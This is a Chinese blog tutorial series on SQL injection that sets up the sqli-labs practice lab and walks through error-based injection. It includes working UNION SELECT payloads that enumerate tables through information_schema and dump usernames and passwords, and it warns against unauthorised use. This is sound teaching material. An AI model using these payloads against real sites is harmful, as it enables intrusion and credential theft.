需要你输入用户名和密码，你输入了zhangsan和123。如果我安全意识很低，做网站的时候给这个表单method属性设置为GET，那么你提交的时候地址栏可能就变成了https://bowenyoung.cf/?username=zhangsan&password=123。如果我比较贴心，我就会设置成POST，那么你还是把参数传给了我这个网站的服务器，但是地址栏上就看不到了~~你旁边的人也就没这么容易看到你的密码了~~。
网页URL编码 URL 只能使用 ASCII 字符集通过因特网进行发送。由于 URL 通常包含 ASCII 集之外的字符，因此必须使用URL编码将 URL 转换为有效的 ASCII 格式。 URL编码也被用来防止SQL注入。~~知己知彼，百战不殆😜~~ 可以参考W3School的这篇文章，还有编码转换工具：链接

注入原理
#

Q:数据库后端如何执行查询操作？想象我的博客有一个登录界面需要输入用户名和密码，当你输入用户名和密码后，后端就会产生并执行一条查询（SQL查询），登录成功后该查询结果会被显示在我们的主页。例如:
```
username: zhangsan
password: 123
```
那么后端查询语句可能是这样： SELECT * FROM 某张表 WHERE username='zhangsan' AND password='123'; 如果用户名和密码都正确，就会返回这些内容。（当然会经过处理，一般不是直接看一张表）当然，查询语句也可能是SELECT * FROM 某张表 WHERE username="zhangsan" AND password="123"; 或者是SELECT * FROM 某张表 WHERE username=（'zhangsan'）AND password= （'123'）; 或者SELECT * FROM 某张表 WHERE username=（"zhangsan"）AND password="123"; 或是其他形式，这取决于开发人员如何将参数封装起来。
如果参数用单引号封装，输入zhangsan'会发生什么？后端查询语句就变成：SELECT * FROM 某张表 WHERE username='zhangsan'' AND password='123'; 显然'zhangsan''这里多了一个单引号，发生了错误。在前端有报错回显的时候，这条语句的报错就直接显示在我们的浏览器上了。
除了去掉这个多余的单引号，还有什么方法能不报错呢？这时候我们就要用到之前讲的注释了。假如我们输入zhangsan'--+或者zhangsan'# ，后端查询语句就变成了： SELECT * FROM 某张表 WHERE username='zhangsan' --+' AND password='123'; 或者SELECT * FROM 某张表 WHERE username='zhangsan' #' AND password='123'; 我们知道，被注释掉的内容是不会被执行的，因此上述语句如果忽略注释的内容就成了： SELECT * FROM 某张表 WHERE username='zhangsan' 单引号就闭合了！这条语句是完全正确的！
上面这条语句只有用户名也能查询吗？如果开发人员没有进行过滤筛查，那么答案是肯定的！也就是说我们通过注释的方式，修改了SQL语句，使得我们用非正常的方式查询到了数据，这其实就是SQL注入的原理了。

开始实践
#

准备工作
#

我们打开PHPstudy面板将服务开启

在浏览器中输入localhost/sqli/Less-1，注意将sqli改成你设置的文件夹名称。这样我们就来到了第一课。

根据提示”请输入ID作为数值参数“，加上这关是GET方式传参（关卡的信息可以看到）。所以我们在地址栏URL末尾加上?id=1，意思是通过GET方式传递一个数值为1的参数。回车，观察页面显示：

可以看到页面显示了登录名和密码。接下来我们增大id值2,3,4……一直到14，发现都显示了登录名和密码，但大于14之后不再显示。这是怎么回事？我们联系后端查询语句可以知道，这说明这张表有14个id对应了14条不同的记录（行)。我们已经获得了这张表的一些信息。

破坏查询
#

接下来我们要破坏查询。记得之前说的在值后面加一个单引号会发生什么吗？是的，会报错。我们尝试输入将1改成1’。页面显示如下：

当然这里单引号被转换为了URL编码，可以参考之前在基础知识里提到的文章。现在我们分析这条报错语句，提示的是near ''1'' LIMIT 0,1' at line 1这里有一个语法错误。这里的语句内容使用单引号包裹起来的，因此我们先去除最外层的单引号，可以知道后端查询语句这部分为： '1'' LIMIT 0,1 而我们输入的是1’，把这个值也去掉就会发现，我们输入的参数是被单引号包裹起来的。这样我们就判断出了注入的类型按参数分是单引号型。如果你觉得使用单引号来判断注入类型看得不清楚，可以使用转义字符\来判断。将参数改为1\。页面显示如下：

这样，转义字符\后的字符就是将参数封装起来的字符。值得一提的是，并非所有参数都由单引号封装。我们可以尝试用同样的方法去破坏LESS2,3,4,5,6的查询。结果分别如下图：

通过分析报错语句我们可以知道2中的参数是裸露的，没有用任何字符封装，3用')封装，4用")封装，5用'封装，6用"封装。

消除语法错误
#

知道了注入的参数是被什么字符封装起来的以后，我们就要考虑去除语法错误。在前面我们已经讲过如何去除语法错误了。我们回到LESS1进行实验。在地址栏URL末尾输入?id=1--+ 或者?id=1'--%20（%20 URL编码为空格）或者?id=1'%23（%23 URL编码为 # ）

输入?id=1时后端查询语句我们可以通过报错信息猜测后端查询语句为：

SELECT * from table_name WHERE id='1' LIMIT 0,1

那么现在变成了

SELECT * from table_name WHERE id='1'-- ' LIMIT 0,1
或者
SELECT * from table_name WHERE id='1'#' LIMIT 0,1

忽略注释掉的内容就是：

SELECT * from table_name WHERE id='1'

这时候单引号被我们闭合了，后面的语句被我们注释掉了，当然仍然能够成功执行！

同理，LESS2-6也可以根据参数被封装的类型，使用注释去除语法错误。

添加语句
#

我们通过注释的方法减少了原来语句的内容，那我们能否增加我们想要查询的内容呢？当然可以！

SELECT * from table_name WHERE id='1'【插入语句】-- ' LIMIT 0,1 我们在注释前插入语句，就可以增加查询的内容。如何实现呢？我们会想到，在这里再加一条SELECT语句不就完事儿了吗？是的，但我们需要用到之前划重点的union。这里就涉及到一个问题，union连接的select语句必须查询字段数相同，但是我们并不知道原来的SELECT查询了多少个字段。我们先要知道查询结果有多少个字段（不一定所有查询结果都会显示再页面上，所以从页面上得不到信息）。这时候就要用到order by了。我们在插入语句的地方加上order by 1，如下图：

order by 1表示按照查询结果的第一列进行排序。页面显示正确，说明查询结果有第一列（废话）。我们再增大列数，一直到order by 4，出现了报错：

提示没有第4列，因此我们得到查询结果有且仅有3列。这时候就可以用union了。新的问题来了，我们查询了3列，但每次改变id只改变了login name和password后面的内容，这不是两列吗？的确是两列，因为经过开发人员处理，回显给我们的是3列中的两列。因此我们要判断显示的是哪两列。这里先讲一下字面量的概念。我们之前说select后面加的是字段名，这时候会查询相应的列。但如果我们select 1,2,3呢？这时候并不是查询第1,2,3列，而是直接查询出来这几个数字1,2,3。这些数字就叫做字面量。利用查询字面量的方式我们可以判断回显了第几列。试想一下，select 1,2,3这个语句被执行。页面上如果显示：

Your Login name:1
Your Password:2

这不就代表页面回显了查询结果的第1，2列吗？因此我们会想到在插入语句处加上union select 1,2,3。但是发现页面回显没有变化。这是因为总共只显示了id=1对应的两条记录。union后面的语句查询到了也没地方显示了。只要让union之前的语句什么都查不到，就可以显示union后面的语句了！也就是让where后面的条件对应不上表里的内容，我们可以将id改成0（或者负数，比记录数14还大的数），毕竟很有可能没有id=0的记录。也就是url末尾改成?id=0' union select 1,2,3--+，如图：

发现页面回显2，3。说明页面回显了查询结果的第2，3列。这时候我们就可以把我们想要查询的数据放在第2，3列的位置，页面就会回显出来给我们。通常来说，我们可能会想要获取的基本信息有：数据库类型、版本号，当前数据库名称，当前执行查询的用户名……通常都有相应的函数或常量来查询这些基本信息。下表给出了部分函数或常量：

函数或常量名	返回值
system_user()	系统用户名
user()	用户名
current_user()	当前用户名
session_user()	链接数据库的用户名
database()	当前使用的数据库名
version()	数据库版本
@@datadir	数据库目录
@@tmpdir	操作系统缓存的临时目录

这里以获取数据库版本和当前数据库名为例将1,2,3改为1,version(),database()，得到如下结果：

之前讲了数据库指纹，通过之前的报错信息我们可以知道使用的是MySQL数据库，结合此处5.7.26可知使用的是MySQL5.7.26版本，当前使用的数据库是security。

从PHPStudy面板来看，的确如此。

获取敏感信息
#

但光知道这点信息我们肯定不满足啊，我们肯定想知道当前数据库里有什么敏感信息，比如用户名密码以及用户的其他信息。

这时候要用到之前提到过的information_schema数据库以及其中的tables,columns表。先来解释一下这些内容。

information_schema数据库是MySQL自带的数据库。它提供了访问数据库元数据的方式。元数据是关于数据的数据，如数据库名或表名，列的数据类型，或访问权限等。
其中的tables表存储了所有的表名(table_name)，以及表所在的数据库名(table_schema)等信息
其中的columns表存储了所有的字段名(column_name)，以及字段所在的表名(table_name)等信息

接下来开始实验：输入?id=0' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+。意思是从information_schema数据库中的tables表查询表名，条件是表所在的数据库是当前数据库。页面显示如下：

显示了emails，但数据库不太可能只有这一张表。这是因为开发人员让每一列只显示了一条记录。我们可以在语句后加上LIMIT 数字,1来限制显示第几行。比如加上LIMIT 0,1表示显示第0行，LIMIT 1,1表示显示第1行，第一行显示如下（?id=0' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1--+）：

我们当然可以一次次改变limit的第一个参数来获取数据，但还有一种方法让所有记录一起显示出来。就是使用group_concat()这个函数。例如，?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+，页面显示如下：

这时候我们发现，所有的表就被列举出来了。我们可以看到这里存储的其实都是一些敏感信息，我们以users表为例去查看里面有哪些字段名。输入?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+。意思是从information_schema数据库中的columns表查询存储的字段名数据，条件是该记录的table_name表名是users。显示结果如下：

东西很多，我们就看看用户名和密码吧输入?id=0' union select 1,group_concat(username),group_concat(password) from users--+。意思是从当前数据库（security）中的users表查询其中的username列和password列。显示如下：

可以看到用户名和密码就一一对应地显示出来了！我们的目标基本就达到了! 当然这仅仅是以LESS1为例查询了部分信息，有兴趣的朋友可以尝试2-6关、查询其他的一些数据（因为是演示项目有些表里面可能没有数据)

结语
#

至此，我们对于基于报错的注入的学习就结束了。原理非常简单，但是需要练习来消化一下。下一期的内容我们讲解布尔盲注，也就是LESS8。LESS7是将查询的内容输出为文件，不涉及注入的原理，我们就跳过了。

SQL注入新手教程（一）——sqli-labs靶场搭建

root@beacox.space (BeaCox) — Sun, 08 May 2022 10:42:32 +0000

网站环境搭建
#

首先我们要搭建一个（本地）网站环境，如果对搭建网站不是很熟悉的小伙伴们可以使用XAMPP或者PHPstudy来搭建。

这两个软件集成了搭建网站所需要用到的PHP、Apache、MySQL等软件。如果自己用其他方式搭建的话要注意sqli-labs是不支持PHP7的，因为之前版本的一些要用到的函数在PHP7中被删除了。我用的是5.6.9版本。这里我就用PHPstudy为例（听名字就知道使用起来更简单）:

首先确保没有安装过PHP，Apache或MySQL

前往官网下载PHPstudy：https://www.xp.cn/

下载完成后安装，打开面板。

如图示操作，第一次打开应该点击更多版本，找到php5.6.9或者更低的版本安装。并将php版本切换成你安装的那个版本。接下来回到首页，按图操作：

将WAMP、Apache和MySQL启动，其他的停止。这里可能会遇到端口被占用的情况导致某个套件无法启动。遇到这个问题可以去找占用了改端口的进程并将其停止。Windows用户可以参考这篇文章：链接

如果上述过程都顺利完成，接下来在你的浏览器输入localhost或127.0.0.1就可以进入默认网页。这时就代表网站环境已经搭建成功了！~~芜湖！~~

sqli-labs下载与配置
#

sqli-labs在GitHub上开源，直接到仓库里下载zip文件：https://github.com/Audi-1/sqli-labs

下载完成后解压并复制到phpstudy_pro\www\目录下

我这里将解压好的文件夹重命名为sqli方便我之后打开。 注意：要确保你复制过来的文件夹打开是下图这样，如果打开是一个同名的文件夹，你应该把图中内容剪切出来并删除这个同名的文件夹

接着在sql-connections目录下找到db-creds.inc文件并打开修改

使用PHPstudy的话，用户名密码默认都是root，都修改为root即可。要是不喜欢的话可以打开PHPstudy面板点击数据库，按照相应提示修改密码就可以了。但一定要确保MySQL数据库的用户名密码和该配置中一致！！！

接下来在浏览器中输入localhost/sqli/，这里sqli要换成你在Github上下载的那个文件夹解压后改的名字。（可以补充一下，这里搭建的网站其实就是www根目录下的所有文件和目录的集合。在后面加一个sqli/其实就是进入了sqli这个文件夹，然后进这个文件夹默认显示的就是这个文件夹里面的index.html或者index.php）

言归正传，打开后显示如图：

点击setup/reset Database for labs进行sqli-labs的初始化，初始化成功的页面如图：

如果看到这个页面，congratulations！sqli-labs靶场环境已经搭建成功了。接下来只要点击page1/2/3/4就可以去完成挑战了！

结语
#

还是要强调，不要在不被授权的网站上练习MySQL。下一期（很快555）我们学习基于报错的的注入，也就是less1-less6。

SQL注入新手教程——前言

root@beacox.space (BeaCox) — Thu, 05 May 2022 17:38:23 +0000

什么是SQL注入？
#

要了解什么是SQL注入，我们首先要知道SQL是什么。SQL，全称Structured Query Language，即数据库的结构化查询语句，用来从数据库中查询内容。

绝大多数网站都有一个数据库，比如我们在网购平台搜索商品的时候，其实就是在从网站的数据库中查询我们想要的内容，这个过程就用到了SQL语句，只不过是在设计好的语句中插入了我们输入的值。但是如果一个web应用程序对用户输入的内容不进行严格的筛查和过滤，用户就有可能通过改变输入的值、添加SQL语句执行不被授权的操作，从而查看数据库的敏感信息或者在服务器上植入木马等。这个过程就被称为SQL注入

学习SQL注入需要什么基础？
#

显然，要学会基本的SQL语句。目前大多数网站使用的都是开源~~可以白嫖~~的MySQL数据库，因此建议学MySQL。当然，不同的数据库有不同的特性，但是绝大部分SQL语句都是通用的，因此学好一个数据库，其他的基本上也就没问题了。学的时候有几个重点：掌握好“增删查改“；MySQL自带的information_schema数据库中tables, columns, schemata表要有一个大概的了解（之后学习SQL注入的时候经常要查询其中的内容）。存储引擎、事务、数据库设计之类的可以不用深入学甚至不学。其他的一些基础比如cookie，比较零碎，可以学到的时候再进行学习。

如何学习（实践）SQL注入？
#

SQL注入是一项技术，是技术就需要实践。但我们知道，利用SQL注入攻击他人的网站是违法行为，如果严重甚至构成犯罪。那么想要实践，就剩下两种方案：攻击用于学习SQL注入的网站；攻击自己搭建的测试网页。

用于学习SQL注入的网站
- vulnweb
- PortSwigger
自己搭建靶场
- sqli-labs (本系列会介绍如何搭建)
- DVWA 这两个项目都在GitHub上开源，搭建教程可以去google或者CSDN搜索。

再次强调！！！千万不要在未授权的情况下尝试SQL注入！！！

SQL注入的分类
#

通过不同的分类方式，SQL注入被分为许多不同类型。但笔者认为如何分类并不十分重要，关键是要掌握每种SQL注入的原理。当然，还是要简单介绍一下SQL注入的分类。

按照是否回显（在页面上显示查询的报错信息）可以分为：
- 显注
- 盲注
按照请求方式（服务器获取用户提供信息的方式）可以分为：
- GET型注入
- POST型注入
- Cookie型注入
- HTTP Header型注入
按照插入到查询语句中的参数类型可以分为：
- 数值型注入（传入的参数为数值）
- 字符型注入（传入的参数为字符串）
  - 单引号字符型注入（字符串用单引号包裹：‘输入的字符串’）
  - 双引号字符型注入（字符串用双引号包裹：“输入的字符串”）
  - 带括号的注入
    - 数值+括号：(输入的数值)
    - 单引号字符串+括号：(‘输入的字符串’)
    - 双引号字符串+括号：(“输入的字符串”)

可以通过RSS订阅本篇博客,下一期将带大家搭建靶场环境🤓🤓🤓

初来乍到，请多指教！

root@beacox.space (BeaCox) — Sat, 09 Apr 2022 17:21:25 +0000

我是谁？
#

我是一名普通大学生、极客爱好者。是NBA和F1的狂热粉丝。白日梦是成为一名优秀的（白帽）hacker。我将在这个网页上更新我的学习经历、生活等。请多多指教！

为什么搭建这样一个博客？
#

其实最直接的原因是最近在w3school学html+css，又偶然间在油管上刷到了利用hexo和github搭建个人博客的视频，脑子一热，就花了一段时间搭建了这个网站。
还有一个原因就是为了装杯，毕竟听说学IT的人总归要有个个人博客。~~技术不行那就先拿博客凑个数~~
然后呢就是为了有一个渠道去分享我的一些学习经验和生活吧。更新随缘。

如何联系我
#

欢迎所有访客的友好交流和建议哦！

BeaCox's Blog

Why gdb-mcp?

TL;DR #

初心 #

设计目标 #

技术路线 #

GDB/MI #

多会话 #

命令路由 #

Demo #

Context Tool #

工具分层 #

Session 管理 #

执行控制 #

观察与分析 #

安全边界 #

Lazy Proxy #

目前的状态 #

小结 #

CVE-2024-51023 复现

漏洞原理分析 #

CVE 描述 #

二进制定位 #

Source 点 #

Sink点 #

PoC #

仿真利用 #

Sk2Decompile 论文阅读笔记

TL;DR #

技术路线 #

IR #

两阶段反编译流程 #

RL #

实验 #

指标 #

结果 #

case study #

Kernel 提权路径总结

任意地址写（AAW） #

modprobe_path #

非法文件 #

AF_ALG socket #

未知协议 socket #

n_tty_ops #

cred #

tcp_prot #

core_pattern #

hijack prctl #

vDSO（过时） #

seq_operations 等非静态定义结构体 #

任意文件写 #

ROP #

返回用户态 #

栈迁移 #

pt_regs #

利用 tcp_prot 的 rcx #

RetSpill #

参考资料 #

V8 内联缓存机制及漏洞

内联缓存机制概述 #

源码 #

基类 #

构造函数 #

状态管理 #

handler 管理 #

派生类 #

CVE-2021-30517 #

漏洞成因 #

漏洞利用 #

PoC #

EXP #

参考 #

从 RWCTF2022 Digging into kernel 1 & 2 学内核提权方法

题目分析 #

前置知识 #

调试 #

利用 #

解法1 modprobe_path #

解法2 修改子进程的 cred #

解法3 劫持 n_tty_ops #

TL;DR
#

初心
#

设计目标
#

技术路线
#

GDB/MI
#

多会话
#

命令路由
#

Demo
#

Context Tool
#

工具分层
#

Session 管理
#

执行控制
#

观察与分析
#

安全边界
#

Lazy Proxy
#

目前的状态
#

小结
#

漏洞原理分析
#

CVE 描述
#

二进制定位
#

Source 点
#

Sink点
#

PoC
#

仿真利用
#

TL;DR
#

技术路线
#

IR
#

两阶段反编译流程
#

RL
#

实验
#

指标
#

结果
#

case study
#

任意地址写（AAW）
#

modprobe_path
#

非法文件
#

AF_ALG socket
#

未知协议 socket
#

n_tty_ops
#

cred
#

tcp_prot
#

core_pattern
#

hijack prctl
#

vDSO（过时）
#

seq_operations 等非静态定义结构体
#

任意文件写
#

ROP
#

返回用户态
#

栈迁移
#

pt_regs
#

利用 tcp_prot 的 rcx
#

RetSpill
#

参考资料
#

内联缓存机制概述
#

源码
#

基类
#

构造函数
#

状态管理
#

handler 管理
#

派生类
#

CVE-2021-30517
#

漏洞成因
#

漏洞利用
#

PoC
#

EXP
#

参考
#

题目分析
#

前置知识
#

调试
#

利用
#

解法1 modprobe_path
#

解法2 修改子进程的 cred
#

解法3 劫持 n_tty_ops
#

参考资料
#

环境准备
#

PoC 工具下载
#

漏洞复现
#

漏洞分析
#

Windows 更新流程
#

漏洞点
#